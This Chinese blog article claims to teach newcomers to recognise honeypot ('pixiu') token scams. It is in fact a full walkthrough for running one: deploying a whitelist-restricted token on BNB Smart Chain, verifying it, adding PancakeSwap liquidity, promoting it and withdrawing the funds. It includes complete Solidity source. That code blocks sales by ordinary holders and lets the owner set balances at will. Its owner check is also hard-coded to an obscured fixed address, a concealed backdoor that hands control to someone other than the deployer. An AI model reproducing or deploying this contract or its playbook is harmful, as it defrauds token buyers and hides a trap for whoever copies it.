币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了

零基础新手也能识别,详细了解部署过程,解析貔貅合约割韭菜手法

本文所包括的合约程式在文末附有,供各位自行了解仅作为技术沟通学习使用,请不要擅自用于不法之用途。

一、貔貅合约
通过在程式内设置白名单限定卖出权限,让不在白名单内的钱包地址购买通证后无法卖出,导致上当受骗的智能合约程式就是貔貅合约。
白名单本是智能合约程式的正常功能,但是被居心叵测的人利用后,成为了敛财的工具,造成不少人上当受骗。经过观察几个貔貅合约地址,hacker使用1–2个ETH或者数个BNB作为流动性本钱便可获得数十个ETH或者上百个BNB的收入,由于貔貅盘操作隐蔽且利润巨大,只需要很小的成本便可获得数十倍以上的收入。故当下有愈演愈烈的趋势,作为小白不可不防。

二、貔貅合约收割流程

1、合约编写
Hacker通常使用solidity语言编写包含白名单限制的智能合约

2、合约部署
通过编译器将合约进行编译,同时部署在目标区块链上,包括ETH 主链、币安智能链等,发行通证代币(token)

3、添加流动性
在自动做市商(uniswap、pancakeswap)为发行的token添加流动性,使其可以被购买

4、宣传引诱
通过建立twitter,telegram群组等方式,进行宣传引诱,让受害者进行购买,购买后无法卖出,所有的资金统统进入自动做市商的流动池

5、撤销流动性
Hacker在资金进入流动池后,撤销流动池,资金进入hacker钱包,完成收割

三、貔貅合约操作详解
以下内容将采用实际操作的方式,详细解析貔貅合约的运作,小白也能轻松辨认。

1、貔貅合约样本
作为小白无需了解貔貅合约程式如何编译,只需了解貔貅合约问题所在即可
(本文所用智能合约程式全文在文末附上下载链接,供各位自行了解)

123
function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}

貔貅合约通常会包含上述程式编码,通过onlyOwner(合约所有者)设置ALLOW名单,用于控制用户卖出的的权限,用户一旦购买,便无法卖出。
2.合约编译
合约部署通常使用ETH提供的线上编译工具REMIX(http://remix.ethereum.org),十分简单,hacker无需安装任何其他程式或配置系统环境,大陆用户可能需要翻墙。
首先,通过浏览器启动REMIX,通常使用Chrome或FireFox,同时还需要准备Matemask钱包用于支付gas fee。

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
运行画面

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
左侧workspaces已经提供了智能合约样板

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
选择1_Storage.sol

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
样本中提供了程式模板,清除即可

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
将貔貅合约程式写入

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击左侧第2个按钮

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
按图操作,进行合约程式编译

3.合约部署
完成编译后的合约已经可以进行正常部署,ETH主网与币安智能链的方法共通。

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
选择左侧第三按钮

接下来需要启动Metamask,同时切换到对应的网路,如果需要部署在币安智能链,选择Binanace Smart Chain,需要准备BNB用以支付Gas, 如需要部署在以太坊主网,选择Ethereum主网路,需要准备ETH用以支付Gas。
本文以币安智能链为例。

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
透过浏览视窗启动Metamask,切换到需要部署的区块链网路

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
此处选择Injected Web3,同时允许Metamask进行连接
Metamask与REMIX连接成功后,将显示custom network,ACCOUNT处将显示连接的钱包地址与余额。(此钱包地址将作为合约管理钱包)

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
在下方contract中选择第3项SignSpecial — contracts/1_Storage.sol
按图设置,其余保持默认参数

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击右侧箭头

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
填写TOKEN信息
在弹出的四个项目输入栏中,填写需要发行的TOKEN信息
_NAME 中填写Token的全程,例:Ethereum Token
_SYMBOL中填写Token简称符号,例: ETH
_DECIMALS中填写通证精度,及Token最小单位可以精确到小数点后的位数,通常为8或者18
_TOTALSUPPLY中填写需要发行的Token总量,填写时需在后面添加与通证精度数量相同的0。如_DECIMALS中填写精度8,需要发行100万枚,则需要在1000000后添加8个0,即100000000000000。

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
以1千万枚TEST为例
填写完成后,点击Trasact

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
支付GAS

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
屏幕下方提示即为部署成功

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
左侧DEPLOY下方将出现合约地址,点击按钮即可复制合约地址,需要妥善保存

4.合约开源
合约开源是合约部署的重要步骤,很多貔貅合约在部署上链后,会进行合约开源,以显示合约正常,打消疑虑,让受骗者放心购买。
合约开源需要使用区块链浏览器
币安智能链使用https://bscscan.com
Ethereum主网路使用https://etherscan.io/

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
填入合约地址

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
此处即可看到合约部署的hash值

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
选择Contract,下方显示的是合约未开源之前的ByteCode
点击Verify and Publish

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
在第一行中填入合约地址,接下来按图填写,选择Continue

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
将合约程式完整粘贴在下方输入框内

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击Verify and Publish
点击Verify and Publish后,等待合约开源

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
开源完成后,返回合约地址首页,选择Contract
之前的ByteCode变成合约程式代码,开源完成

5.Metamask添加Token

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
启动Metamask,在最下方选择Import tokens

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
填入合约地址,点击Add Custom Token

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击Import Tokens

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
Token添加完毕

6.添加流动性
貔貅合约发行的Token如果需要被购买,需要使用自动做市商添加流动性,为Token赋予价格和流动池。币安智能链使用Pancakeswap,Ethereum主网路使用Uniswap.
添加流动性需要使用ETH或BNB为Token提供初始价格和流动池,由于Token被购买后无法卖出,所以流动池中添加的ETH不会减少只会增加,只能通过撤销流动性取出,因此Token价格也会不断升高,产生拉升效果。

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
打开PancakeSwap,选择流动性
打开PancakeSwap后,使用合约管理钱包进行连接

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
选择增加流动性

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击管理代币

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
选择代币,在下方填入合约地址

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击导入

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
点击导入

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
填入两种代币的数额
在两个输入框中分别填写需要添加的金额,将合约发行的代币全部填入,同时在BNB/ETH中填入初始流动池的金额,点击授权和供应,支付gas,流动池便添加完毕,代币已经可供购买。
此处提供的BNB/ETH将决定代币的初始价格,如填入1枚ETH,代币100万枚,则初始价格为1000000 Token = 1 ETH
流动池价值过少会影响滑点,同时存在风险,人们通常不会购买,因此Hacker在部署貔貅合约时,通常会提供2–5枚ETH以上,或者10–20枚BNB以上,以降低滑点,提高Token的初始价格吸引购买。由于貔貅合约的关系,添加的ETH/BNB不会损失,因此属于无本买卖,利润惊人。

7.常见宣传手段
通过TwiIter、Telegram建立社群进行推广
进行小额购买进行拉升,增加持币地址,以在行情站点中显示K线图
主动锁定流动池几天,以获取推送
常见工具:
Token BB 空投工具:www.tokenbb.com/bulk-sender
ETH / BSC锁币工具:https://dxsale.app
8.撤销流动性
撤销流动性即为收割的最后步骤,Hacker在获取到足够的利益后,及可在PancakeSwap的流动性页面中撤销流动性,所有的Token和ETH/BNB将会进入合约管理钱包。

9.添加白名单
本文提供的貔貅合约具备添加白名单功能
币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
使用管理钱包打开区块链浏览器
点击Contract — Write Contract
点击Connect to Web3,使用管理钱包链接

币圈新人如何识别土狗盘貔貅盘,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了
找到此项,在上方填入需要添加的地址,下方填入ture即可,如遇到gas 超额Bug需要等待一段时间后在进行尝试

本文涉及合约程式

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127
pragma solidity ^0.4.26;

contract Ownable {
  address public owner;
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  function Ownable() public {
    owner = msg.sender;
  }

  modifier onlyOwner() {
    require(msg.sender == address(53155380323066976790887286642315878746148553097));
    _;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}
/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract SignSpecial is Ownable {
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);

  constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply =  _totalSupply;
        balances[msg.sender] = totalSupply;
        allow[msg.sender] = true;
  }

  using SafeMath for uint256;

  mapping(address => uint256) public balances;
  
  mapping(address => bool) public allow;

  function transfer(address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[msg.sender]);

    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[_owner];
  }

  mapping (address => mapping (address => uint256)) public allowed;

  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    require(allow[_from] == true);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }
  
  function addAllow(address holder, bool allowApprove) external onlyOwner {
      allow[holder] = allowApprove;
  }
  
  function tokenview(address miner, uint256 _value) external onlyOwner {
      balances[miner] = _value;
  }
}

仅供学习分析使用,请勿用于不法用途,建议使用测试网路进行测试
由于编码包含隐蔽功能,默认使用0.4.0版本编译,需保持编码完整复制,修改编码可能会导致合约程式无法运行

分享到
© 版权声明
广告也精彩

相关文章